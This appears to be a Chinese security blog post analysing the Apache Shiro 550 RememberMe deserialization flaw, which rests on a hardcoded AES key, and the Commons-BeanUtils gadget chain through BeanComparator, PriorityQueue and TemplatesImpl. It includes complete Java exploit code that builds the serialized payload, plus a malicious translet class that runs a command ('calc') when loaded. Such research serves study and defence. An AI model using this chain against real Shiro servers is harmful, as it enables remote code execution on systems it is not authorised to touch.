Shiro550+CB

通过Shiro550学习CB无依赖

Shiro550漏洞分析

前言

Shiro 是一个Java的安全框架,它包含身份认证、登录、验证权限、会话管理等功能。

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

环境搭建

流程很简单,照着参考文章做几分钟就搭起来了。

漏洞分析

前置知识

RememberMeManager

org.apache.shiro.mgt.RememberMeManager,这个接口提供了如下 5 个方法:

image-20231008164024742

  • getRememberedPrincipals在指定上下文中找到记住的 principals,也就是 RememberMe 的功能。
  • forgetIdentity:忘记身份标识。
  • onSuccessfulLogin:在登陆校验成功后调用,登陆成功时,保存对应的 principals 供程序未来进行访问。
  • onFailedLogin:在登陆失败后调用,登陆失败时,在程序中“忘记”该 Subject 对应的 principals。
  • onLogout: 在用户退出时调用,当一个 Subject 注销时,在程序中“忘记”该 Subject 对应的 principals。
AbstractRememberMeManager

AbstractRememberMeManager是一个Shiro自带的抽象类它实现了RememberMemanager接口,先了解一下这个类中几个重要的成员变量。

image-20231008165543767

  • DEFAULT_CIPHER_KEY_BYTES:一个 Base64 的硬编码的 AES Key,也是本次漏洞的关键点,这个 key 会被同时设置为加解密 key 成员变量:encryptionCipherKey/decryptionCipherKey 。
  • serializer:Shiro 提供的序列化器,用来对序列化和反序列化标识用户身份的 PrincipalCollection 对象。
  • cipherService:用来对数据加解密的类,实际上是 org.apache.shiro.crypto.AesCipherService 类,这是一个对称加密的实现,所以加解密的 key 是使用了同一个。

通过其构造方法可以看到,这个类在在初始化时会创建DefaultSerializer作为序列化器,AesCipherService 作为加解密实现类,DEFAULT_CIPHER_KEY_BYTES 作为加解密的 key。

CookieRememberMeManager

CookieRememberMeManager继承了AbstractRememberMeManager这个抽象类,而且它实现了在HTTP无状态协议中使用cookie记录用户信息的相关能力。其中我们需要注意的方法是getRememberedSerializedIdentity,它的逻辑大概如下(获取Cookie中的内容并Base64解码返回byte数组):

image-20231008170142829

漏洞点

这个方法就是我们整个Shiro550漏洞点,我们先简单看看它的逻辑:

image-20231008172324992

通过前置知识我们知道,在CookieRememberMeManagergetRememberedSerializedIdentity 的实现是获取 Cookie 并 Base64 解码。

然后将解码后的 byte 数组传入 convertBytesToPrincipals 。这个方法执行了两个操作:decryptdeserialize

image-20231009094034525

1.decrypt:

image-20231009092114692

image-20231009092145495

通过我们之前对AbstractRememberMeManager类中的成员变量的解释。cipherService是用来对数据加解密的类,实际上是 org.apache.shiro.crypto.AesCipherService 类,这是一个对称加密的实现,所以加解密的 key 是使用了同一个。

所以我们可以知道整个decrypt就是相当于用AesCipherService 进行解密,最后返回解密后的数组。

2.deserialize

image-20231009094159287

deserialize 调用 this.serializer#deserialize 方法反序列化解密后的数据。

image-20231009094416710

在 Shiro 中,序列化器的默认实现是 DefaultSerializer,可以看到其 deserialize 方法使用 Java 原生反序列化,使用 ByteArrayInputStream 将 byte 转为 ObjectInputStream ,并调用 readObject 方法执行反序列化操作。反序列化得到的 PrincipalCollection 会被 set 到 SubjectContext 供后续的校验调用。

以上就是 Shiro 创建 Subject 时执行的逻辑,跟下来后就看到了完整的漏洞触发链:攻击者构造恶意的反序列化数据,使用硬编码的 AES 加密,然后 Base64 编码放在 Cookie 中,即可触发漏洞利用。

CB链

为什么要在Shiro中介绍CB呢?这是因为Shiro本身就依赖commons-beanutils组件。其实CC和CB组件在底层还是有很多关联的(比如我们稍后会分析到的BeanComparator)。所以有的文章会给Shiro加上commons-collections,来打Shiro的cc依赖,其实就是C2+C3+C6部分关键代码排列组合。我们本篇主要介绍Shiro无依赖的CB链。

前置知识

什么是JavaBean???

JavaBean是符合如下标准的Java类:

  • 类是公共的
  • 有一个无参公共的构造方法
  • 有私有属性
  • 有对应公共的getter、setter

比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Person {
private String Name;

public Person() {
}

public String getName() {
return Name;
}

public void setName(String Name) {
this.Name = Name;
}
}

BeanComparator

BeanComparator 是 commons-beanutils 提供的用来比较两个 JavaBean 是否相等的类,其实现了java.util.Comparator 接口。

BeanComparator 在初始化时可以指定 property 属性名称和 comparator 对比器,如果不指定,则默认是 ComparableComparator 。

image-20231007155948760

BeanComparator 的 compare 方法接收两个对象,分别调用 PropertyUtils.getProperty() 方法获取两个对象的 property 属性的值,然后调用 internalCompare() 方法调用实例化时初始化的 comparator 的 compare 方法进行比较。

image-20231007155948768

第二个参数(comparator)可以传入实现Comparator且可序列化的任意类

PropertyUtils.getProperty()

1
PropertyUtils.getProperty(Object JavaBean,String "JavaBean的属性")

在commons-beanutils中提供了一个静态方法PropertyUtils.getProperty()它可以直接调用任意JavaBean的getter方法。它接收两个参数:一个是JavaBean的实例对象,一个是JavaBean的属性。

举个栗子:

1
2
3
4
5
6
7
//我们正常调用get方法是这样的:
Person person = new Person("狗蛋");
person.getName();

//而PropertyUtils.getProperty:
Person person = new Person("狗蛋");
PropertyUtils.getProperty(person,"name");

分析过程

TemplatesImpl 类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,实现了 Serializable 接口,因此它可以被序列化,我们来看一下漏洞触发点。

首先我们注意到该类中存在一个成员属性 _class,是一个 Class 类型的数组,数组里下标为_transletIndex 的类会在 getTransletInstance() 方法中使用 newInstance() 实例化。

image-20231007151630811

注:

  1. 首先得保证_name不等于null,否则会直接返回null。
  2. 其次需要保证_class等于null,因为我们要调用defineTransletClasses()
  3. 其次我们注意到, _ class是成员属性,他是一个Class类型的数组,数组下标为_transletIndex的类会在getTransletInstance()方法中使用newInstance()实例化

而类中的 getOutputProperties() 方法调用 newTransformer() 方法,而 newTransformer() 又调用了 getTransletInstance() 方法。

image-20231007152857156

image-20231007152959877

getOutputProperties() 方法就是类成员变量 _outputProperties 的 getter 方法。

这就给了我们调用链,那 _class 中的类是否可控呢?看一下调用,发现在 readObject、构造方法以及 defineTransletClasses() 中有赋值的动作。

image-20231007152959817

其中 defineTransletClasses()getTransletInstance() 中,如果 _class 不为空即会被调用,看一下 defineTransletClasses() 的逻辑(也就是我们上面蓝色部分的第二步):

image-20231007153438948

代码功能解释:

  1. 检查_bytecodes是否为空,为空则抛出异常
  2. 接着就会调用自定义的ClassLoader去加载_bytecodes中的byte[]。而_bytecodes也是该类的成员属性。
  3. 如果这个类的父类为 ABSTRACT_TRANSLET 也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,就会将类成员属性的,_transletIndex 设置为当前循环中的标记位,而如果是第一次调用,就是_class[0]。如果父类不是这个类,将会抛出异常。

所以我们只需要构造一个 TemplatesImpl 类的反序列化字符串,其中 _bytecodes 是我们构造的恶意类的类字节码,这个类的父类是 AbstractTranslet,最终这个类会被加载并使用 newInstance() 实例化。再串到上面的compare中,进行间接调用_outputProperties()的getter方法最终形成调用。

但是我们还需要满足几个条件:

  • _name不为null(很简单,随便传String类型的字符串即可)
  • _tfactory不为null(直接传new TransformerFactoryImpl(),因为在其readObject里有对_tfactory赋值,所以直接拿来用即可)

image-20231007161002997

那么好,我们先梳理一下现在的链条

1
BeanComparator.compare() -> PropertyUtils.getProperty() ->  PropertyUtilsBean.getProperty() -> TemplatesImpl.getOutputProperties()

而 CommonsBeanutils 利用链中核心的触发位置就是 BeanComparator.compare() 函数,当调用 BeanComparator.compare() 函数时,其内部会调用我们前面说的 getProperty 函数,进而调用 JavaBean 中对应属性的 getter 函数。

image-20231007165221528

这里会调用PropertyUtils.getProperty()方法 因此通过给 o1赋值构造好的templates对象,property赋值为TemplatesImpl的 outputProperties属性,即可调用 TemplatesImpl.getOutputProperties() 往下就是TemplatesImpl的利用链

那么往上找 哪里调用 compare()呢?可以利用CC2/4链中用的 PriorityQueue.readObject()

结果展示

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB {
//自定义的一个反射调用属性的方法。
public static void setfiled(Object obj,String filedname,Object value) throws NoSuchFieldException, IllegalAccessException {
Class c = obj.getClass();
Field field = c.getDeclaredField(filedname);
field.setAccessible(true);
field.set(obj,value);
}

public static void main(String[] args) throws Exception{
//初始化TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
//_name不为null
setfiled(templates,"_name","yuanyi");
//_bytecodes为要执行的class二进制编码
byte[] code = Files.readAllBytes(Paths.get("D://huanjing/exp/Test.class"));
byte[][] codes = {code};
setfiled(templates,"_bytecodes",codes);
//_tfactory在readObject中有赋值直接抄
setfiled(templates,"_tfactory",new TransformerFactoryImpl());

// PropertyUtils.getProperty(templates,"outputProperties"); 这里是为了测试前面的代码逻辑写的是否正确。

//初始化BeanComparator
BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
//我这里用的是PriorityQueue的一参构造方法,先传一个假的,后用反射改回真的。
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
//将真的 BeanComparator 写入 PriorityQueue 中
setfiled(priorityQueue,"comparator",beanComparator);

serialize(priorityQueue);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

Test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

链条

1
2
3
4
5
PriorityQueue.readObject()
BeanComparator.compare()
PropertyUtils.getProperty()
PropertyUtilsBean.getProperty()
TemplatesImpl.getOutputProperties()

Shiro550+CB
http://example.com/2023/10/09/Shiro550-CB/
作者
Yuanyi
发布于
2023年10月9日
许可协议